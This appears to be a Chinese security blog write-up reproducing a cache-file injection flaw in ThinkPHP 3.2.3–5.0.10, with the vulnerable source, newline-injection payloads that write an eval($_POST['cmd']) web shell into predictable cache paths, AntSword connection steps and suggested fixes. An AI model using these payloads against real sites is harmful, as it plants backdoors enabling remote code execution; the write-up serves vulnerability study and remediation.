路漫漫其修远兮,吾将上下而求索

0%

Thinkphp3.2.3-5.0.10缓存漏洞

phpthink3.2.3-5.0.10缓存函数缺陷

漏洞利用

thinkphp3.2.3

  1. 漏洞文件位置(一般审计得出)

    http://domain/index.php/Home/Index/get?id=%0d%0aeval($_POST['cmd']);%0d%0a//

  2. 缓存文件为缓存名的md5值,这里采用md5(name)=b068931cc450442b63f5b3d276ea4297

    http://domain/Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php

  3. 之后蚁剑连接。

thinkphp5.0.5

  1. 漏洞文件位置(一般审计得出)

    http://domain/public/index.php/Home/Index/index

    POST数据 :con=%0d%0aeval($_POST['cmd']);%0d%0a//

  2. 缓存文件位置b0文件夹是md5(cache-name)前2位。

    http://domain/runtime/cache/b0/b068931cc450442b63f5b3d276ea4297.php

  3. 蚁剑连接

局限性

  • 使用S()函数或者Cache()函数的位置不确定,尽量拿源码分析。
  • 使用缓存函数的name变量未知,拿源码分析或尝试常用的缓存名namekey

3.2.3漏洞复现

  • 直接跟进到/Library/Think/Cache/File.class.php文件,看到set方法:

    1
    /**
    2
         * 写入缓存
    3
         * @access public
    4
         * @param string $name 缓存变量名
    5
         * @param mixed $value  存储数据
    6
         * @param int $expire  有效时间 0为永久
    7
         * @return boolean
    8
         */
    9
        public function set($name,$value,$expire=null) {
    10
            N('cache_write',1);
    11
            if(is_null($expire)) {
    12
                $expire =  $this->options['expire'];
    13
            }
    14
            $filename   =   $this->filename($name);
    15
            $data   =   serialize($value);
    16
            if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
    17
                //数据压缩
    18
                $data   =   gzcompress($data,3);
    19
            }
    20
            if(C('DATA_CACHE_CHECK')) {//开启数据校验
    21
                $check  =  md5($data);
    22
            }else {
    23
                $check  =  '';
    24
            }
    25
            $data    = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
    26
            //data参数经过序列化,直接被写到文件内。
    27
            
    28
            $result  =   file_put_contents($filename,$data);
    29
            if($result) {
    30
                if($this->options['length']>0) {
    31
                    // 记录缓存队列
    32
                    $this->queue($name);
    33
                }
    34
                clearstatcache();
    35
                return true;
    36
            }else {
    37
                return false;
    38
            }
    39
        }
  • 写一个调用缓存函数的的方法,运行一下。看看写进去什么

    1
    <?php
    2
    namespace Home\Controller;
    3
    use Think\Controller;
    4
    class IndexController extends Controller {
    5
    6
        public function index(){
    7
            $a=I('post.a3');
    8
            S('name',$a);
    9
        }
    10
    }
  • 在set方法下断点,访问 http://localhost/index.php/Home/Index/index.html ,post数据:a3=aaaa

    debug

    可以看到$data参数经过序列化,直接写入php后缀的文件。F9运行可以看到,在Application/Runtime/Temp/文件夹下生成了php文件。

    cachefile

    写入到文件被行注释了。

  • $data参数未过滤%0d%0a可以用换行来绕过行注释,尝试post数据:

    a3=%0d%0aeval($_POST['cmd']);%0d%0a//

    file-cache

  • 之后用蚁剑连接成功

    antsword

5.0.5漏洞复现

  • 漏洞代码与3.2.3差不多,不一样的在缓存目录

    1
    protected function getCacheKey($name)
    2
        {
    3
            $name = md5($name);
    4
            if ($this->options['cache_subdir']) {
    5
                // 使用子目录
    6
                $name = substr($name, 0, 2) . DS . substr($name, 2);
    7
            }
    8
            if ($this->options['prefix']) {
    9
                $name = $this->options['prefix'] . DS . $name;
    10
            }
    11
            $filename = $this->options['path'] . $name . '.php';
    12
            $dir      = dirname($filename);
    13
            if (!is_dir($dir)) {
    14
                mkdir($dir, 0755, true);
    15
            }
    16
            return $filename;
    17
        }
  • 在index控制器写如下代码:

    images

  • 之后访问 http://localhost/public/index.php/Home/indexPOST数据:con=%0aeval($_POST['cmd']);%0d//

  • 最终在 runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php文件生成shell:

    image2

  • 之后访问蚁剑 http://localhost/runtime/cache/b0/68931cc450442b63f5b3d276ea4297.php

    images3

在复现的时候看到CMS-hunter里对这个漏洞有这个描述:

1
个人在复现这个漏洞的时候发现5.0.x版本的TP并不能直接访问到缓存文件所在的目录,因此可以情况下不能触发该漏洞。在3.2.x版本是可以直接从浏览器访问到缓存文件的。

但在个人复现的时候并没有出现这个情况。

所以说一切还是自己复现一边才能填坑

修复方法

  • 过滤换行符

    在$data写入文件之前过滤

    $data = str_replace(PHP_EOL, '', $data);

  • 禁止访问目录

    Runtime目录添加.htaccess文件,内容:

    1
    <IfModule mod_rewrite.c>
    2
    deny from all
    3
    </IfModule>